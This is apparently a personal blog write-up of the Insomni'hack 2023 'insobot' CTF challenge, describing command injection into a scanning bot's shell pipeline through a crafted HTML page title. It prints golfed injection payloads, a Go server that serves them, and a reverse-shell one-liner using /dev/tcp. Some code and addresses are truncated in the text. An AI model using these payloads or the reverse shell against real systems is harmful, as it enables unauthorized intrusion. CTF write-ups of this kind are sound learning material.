= ptrcnull.me =
writeups and other stuff

Insomni'hack CTF 2023 - insobot

note: this writeup was written long after the actual CTF - the platform was available only on the local on-site network, so some stuff might be a bit vague


in the description we don’t get any files or links, only the info that someone’s scanning the network. after launching wireshark, we found a ton of ARP queries for the local network, so after filtering those out, we were left with a handful of packets. some of them were from the cisco switch we had on our desk, others from the fortinet hardware handling the network, but after a while we noticed some incoming TCP packets:

listing of packets, showing multiple TCP SYN to ports 9990, 9991 and 9992, with corresponding RSTs from us

we ran a simple HTTP server, and to our surprise, started getting valid HTTP requests:

$ python3 -m http.server 9991                                                                               
Serving HTTP on port 9991 ( ... - - [03/Apr/2023 18:39:00] code 400, message Bad request version ('À\\x13À') - - [03/Apr/2023 18:39:00] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03#ÐO#\x04B\x9dä¯\x8c"Ó0\x0f3®À£\x10H\x0cEgkqeSÓìÂÙ! \x94J·u>\x98\x82\x1bÉ)OÍÛ\x88£\x85¹B\x0b\x89\x9dß\x1f0\x1f×c\x96TÎKë\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - - - [03/Apr/2023 18:39:00] "GET / HTTP/1.1" 200 -

http request in wireshark, showing a header X-tool pointing to github.com/GigaTakos/Reconator

reading weird shell code

following to https://github.com/GigaTakos/Reconator, we find two shell scripts: main.sh, which is less interesting:

mapcidr -cidr -o targets.txt

# <snip>

while true;
	cat targets.txt	| parallel -j90 sudo docker run --rm reconator bash /opt/reconator.sh {}

and reconator.sh, that does all the heavy lifting:


cat <<EOF > services.txt

echo "$1"
echo "$1" | /root/go/bin/httpx -nfs -H "X-tool: github.com/GigaTakos/Reconator" -p $(cat services.txt | awk -F ":" '{print $2}' | sort -u | tr '\n' ',' | sed 's/,$//') -silent -t 1 -json | jq -c '. | "bbrf url add '"'"'\(."url"|@sh) \(."status-code") \(."content-length")'"'"' -t last_update:$(date +%s) -t http_title:\(."title"[0:15]|@sh)"' | sed -E 's| null| 0|g' | sed 's/\\"//g' | xargs -I {} sh -c 'echo {}'

( there’s also a dockerfile, but it’s safe and not very interesting )

we noticed that while the inner script outputs bbrf ... commands, they’re not being executed in the repo - the orgs didn’t specify what’s happening, so let’s assume they’re just being saved somewhere.

we can simplify the command a bit, replacing the convoluted cat services.txt subshell with what it returns and formatting it a little:

echo "$1" | \
    /root/go/bin/httpx -nfs \
        -H "X-tool: github.com/GigaTakos/Reconator" \
        -p "9990,9991,9992" \
        -silent -t 1 -json | \
    jq -c '. | "bbrf url add '"'"'\(."url"|@sh) \(."status-code") \(."content-length")'"'"' -t last_update:$(date +%s) -t http_title:\(."title"[0:15]|@sh)"' | \
    sed -E 's| null| 0|g' | \
    sed 's/\\"//g' | \
    xargs -I {} sh -c 'echo {}'

setting the quote crimes in jq aside, here’s what’s going on:

  • httpx scans the selected host
  • JSON results are being passed to jq, which picks the following arguments:
    • .url
    • .status-code
    • .content-length
    • .title
  • nulls are getting replaced with zeroes
  • quotes are getting unquoted..?
  • all of that is getting passed to sh -c 'echo ...'

as for exploitation ideas - the target was obviously that sh -c command. unfortunately, there wasn’t much room for an exploit: status code and content length were returned as ints, so we couldn’t do any HTTP here; the URL was the input one, redirects didn’t change it, so… the only field we could reliably control was the title, parsed from HTML.

having that, we tried running the tool with the following HTML:

<html><head><title>my very long page title</title>

and got expected results

$ podman run --network=host --rm reconator bash /opt/reconator.sh
bbrf url add 0 0 -t last_update:1680542404 -t http_title:my very long pa

the shell escaping also worked, kinda:

bbrf url add 0 0 -t last_update:1680542483 -t http_title:$(id)

we spent way too much time reading jq source code to see if we can get around the shell escaping, when suddenly:

sh: 1: Syntax error: Unterminated quoted string

…oh? let’s try to terminate it then:

bbrf url add 0 0 -t last_update:1680543290 -t http_title:\uid=0(root) gid=0(root) groups=0(root)\

we got shell exec! sadly, not very useful - the payload was still getting truncated at 15 characters, so even using \`` we had 11 characters left for our exploit ( technically, 33, as we could use 3 payloads - but each payload had to be contained in 11 characters ).

golfing the payload

wget was definitely too long, but maybe we can make our IP shorter?

$ doas ip addr flush dev eth0
$ doas ip addr add dev eth0
$ ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=1.84 ms


wget 10.10.6…one character too long!! decimal or hex notation wasn’t shorter either… at this point we were stuck - we even bought a short domain, only to realize that outgoing 53 was blocked on the server lol; went through all the executables in the container, didn’t find anything shorter than wget that could fetch a file

the breakthrough came from dominikoso, who suggested that maybe we could copy executables to the local directory, thus allowing us to use a wildcard such as wg* to run it.. and it worked!

after refining the payloads a little, we ended up with the following:

  • cp /b*/w* . to copy all executables starting with w to working directory
  • wg* 10.10.6 to download the index.html file, which was actually a script
  • bash *ml to run it

there was one more drawback: the ports were queried in a random order; we wrote a small go server to handle that:

package main

import (

var i = 0
var resps = []string{"cp /b*/w* .", "wg* 10.10.6", "bash *ml"}

func GenerateResp(x string) []byte {
	return []byte(`HTTP/1.1 200 OK
Content-Type: text/html
Connection: close

<html><body><title>'` + "`" + x + "`" + `'</title></body></html>



func main() {
	handler := func(w http.ResponseWriter, r *http.Request) {
		fmt.Printf("writing resp %d to client %s as %s\n", i, r.RemoteAddr, r.Host)
		i %= 3

	go http.ListenAndServe(":9990", http.HandlerFunc(handler))
	go http.ListenAndServe(":9991", http.HandlerFunc(handler))
	go http.ListenAndServe(":9992", http.HandlerFunc(handler))


	select {}

the actual script was just a simple reverse shell (which had to be hosted on port 443 due to the previously mentioned server firewall):

sh -i >& /dev/tcp/ 0>&1

after that, all it took was one cat /flag/flag and we finally solved the challenge!~